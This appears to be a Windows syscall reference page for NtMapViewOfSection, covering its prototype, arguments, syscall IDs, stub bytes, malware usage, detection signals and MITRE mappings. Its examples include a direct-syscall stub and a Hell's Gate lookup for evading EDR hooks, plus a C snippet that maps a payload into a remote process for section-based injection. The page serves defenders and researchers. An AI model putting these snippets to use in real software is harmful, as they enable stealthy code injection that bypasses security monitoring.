> Windows Syscalls
ntoskrnl.exeT1055T1055.012T1055.013

NtMapViewOfSection

Maps a view of a section object into the virtual address space of a target process.

Prototype

NTSTATUS NtMapViewOfSection(
  HANDLE          SectionHandle,
  HANDLE          ProcessHandle,
  PVOID          *BaseAddress,
  ULONG_PTR       ZeroBits,
  SIZE_T          CommitSize,
  PLARGE_INTEGER  SectionOffset,
  PSIZE_T         ViewSize,
  SECTION_INHERIT InheritDisposition,
  ULONG           AllocationType,
  ULONG           Win32Protect
);

Arguments

NameTypeDirDescription
SectionHandleHANDLEinHandle to the section object obtained from NtCreateSection or NtOpenSection.
ProcessHandleHANDLEinHandle to the target process; the section view will be mapped into its VA space.
BaseAddressPVOID*in/outDesired base address (NULL lets the kernel choose). Updated with the mapped address on return.
ZeroBitsULONG_PTRinNumber of high-order zero bits in BaseAddress. Typically 0.
CommitSizeSIZE_TinInitial committed size for a pagefile-backed section. Ignored for image sections.
SectionOffsetPLARGE_INTEGERin/outOffset within the section where the view starts. Must be 64 KB aligned. NULL means 0.
ViewSizePSIZE_Tin/outPointer to the requested view size. 0 maps from the offset to end of section.
InheritDispositionSECTION_INHERITinViewShare (1) shares with children, ViewUnmap (2) does not. ViewUnmap is the common choice.
AllocationTypeULONGinAllocation flags such as MEM_RESERVE, MEM_TOP_DOWN, MEM_LARGE_PAGES. Often 0.
Win32ProtectULONGinPage protection to apply to the view, e.g. PAGE_READWRITE, PAGE_EXECUTE_READ.

Syscall IDs by Windows version

Windows versionSyscall IDBuild
Win10 15070x28win10-1507
Win10 16070x28win10-1607
Win10 17030x28win10-1703
Win10 17090x28win10-1709
Win10 18030x28win10-1803
Win10 18090x28win10-1809
Win10 19030x28win10-1903
Win10 19090x28win10-1909
Win10 20040x28win10-2004
Win10 20H20x28win10-20h2
Win10 21H10x28win10-21h1
Win10 21H20x28win10-21h2
Win10 22H20x28win10-22h2
Win11 21H20x28win11-21h2
Win11 22H20x28win11-22h2
Win11 23H20x28win11-23h2
Win11 24H20x28win11-24h2
Server 20160x28winserver-2016
Server 20190x28winserver-2019
Server 20220x28winserver-2022
Server 20250x28winserver-2025

Kernel module

ntoskrnl.exeNtMapViewOfSection (dispatches to MiMapViewOfSection)

Related APIs

MapViewOfFileMapViewOfFileExNtCreateSectionNtOpenSectionNtUnmapViewOfSectionZwMapViewOfSection

Syscall stub

4C 8B D1            mov r10, rcx
B8 28 00 00 00      mov eax, 0x28
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

`NtMapViewOfSection` is the userland entry point for the kernel `MiMapViewOfSection` family. SSN `0x28` has been stable across all shipped Win10/11 builds. Section-backed memory is a fundamentally different beast from `NtAllocateVirtualMemory`: views are backed by an `_SECTION` object (a file or pagefile), they share physical pages between processes, and they appear in VAD entries with `SubsectionBased`/`MappedFile` flags rather than `Private`. This dual nature — same bytes visible in two address spaces — is what makes it irresistible for injection.

Common malware usage

Foundation of section-based injection (`MapViewOfSection`-style injection, Process Doppelgänging, Process Ghosting, Transacted Hollowing, and Atom Bombing variants). Create a pagefile-backed section with `NtCreateSection`, map it into the local process with RW, copy shellcode, map the same section into a remote process with RX. The bytes appear executable in the target without any explicit `WriteProcessMemory` call. Used by FIN7 / Carbanak loaders, BumbleBee, the original Process Doppelgänging by enSilo, and various RAT loaders. Also the backbone of side-loading via `KnownDlls` poisoning.

BumbleBeeCobalt StrikeFIN7 CarbanakSliverLazarus toolingIcedID

Detection opportunities

Section-based injection deliberately avoids the `NtWriteVirtualMemory` and `NtAllocateVirtualMemory` telemetry that EDRs key on. However, Sysmon Event ID 7 (`Image Load`) and Event ID 8 (`CreateRemoteThread`) still fire on the consequences. ETW Threat Intelligence emits `EtwTiLogMapExecVm` whenever an executable view is mapped into a remote process — this is the dedicated signal. VAD analysis with PE-Sieve flags `MappedImage` regions whose backing file has been deleted (Process Ghosting) or whose section name does not match a legitimate KnownDll. `ObRegisterCallbacks` on `*PsProcessType` lets drivers strip rights from the section handle before it can be mapped cross-process.

Direct syscall examples

asmx64 direct stub

; Direct syscall stub for NtMapViewOfSection (SSN 0x28, stable across all Win10/11)
NtMapViewOfSection PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 28h          ; SSN
    syscall
    ret
NtMapViewOfSection ENDP

cPagefile-backed cross-process map

// Section injection: same physical pages mapped RW locally, RX in target.
HANDLE hSection = NULL;
LARGE_INTEGER max_size = { .QuadPart = 0x10000 };
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &max_size,
                PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

PVOID  local_view = NULL;
SIZE_T view_size  = 0;
NtMapViewOfSection(hSection, NtCurrentProcess(), &local_view, 0, 0, NULL,
                   &view_size, ViewUnmap, 0, PAGE_READWRITE);
memcpy(local_view, payload, payload_len);

PVOID  remote_view = NULL;
view_size = 0;
NtMapViewOfSection(hSection, hRemote, &remote_view, 0, 0, NULL,
                   &view_size, ViewUnmap, 0, PAGE_EXECUTE_READ);

cHell's Gate dynamic lookup

// SSN 0x28 across every supported build, but still better to resolve dynamically.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                            "NtMapViewOfSection"));
set_ssn(ssn);
indirect_syscall_invoke(/* hSection, hRemote, &remote_view, ... */);

MITRE ATT&CK mappings

Last verified: 2026-05-20